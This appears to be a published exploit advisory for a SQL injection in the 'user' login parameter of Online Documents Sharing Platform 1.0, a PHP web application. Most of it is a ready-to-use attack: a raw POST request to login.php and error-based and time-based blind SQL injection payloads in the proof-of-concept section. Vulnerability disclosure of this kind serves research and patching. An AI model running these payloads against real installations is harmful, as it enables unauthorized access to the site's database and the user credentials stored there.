Online Documents Sharing Platform 1.0 - 'user' SQL Injection

2021-01-21
ID: 103929
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 21.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://www.sourcecodester.com/php/14653/online-documents-sharing-platform-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/notes.zip
# Version: V1.0
# Tested on: Windows 10

#Description: The 'user' parameterer is vulnerable to error-based and time-based SQL Injection.

----------------------------------------------------

POST /path/login.php HTTP/1.1
Host: test.com
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/path/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

user=%27&pass=%27&login=login

----------------------------------------------------

#PoC:

Parameter: user (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: user=' AND (SELECT 2047 FROM(SELECT
COUNT(*),CONCAT(0x7176706a71,(SELECT
(ELT(2047=2047,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NRPK&pass='&login=login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=' AND (SELECT 2110 FROM (SELECT(SLEEP(5)))pSYW)--
HnhM&pass='&login=login
1-4-2 (www02)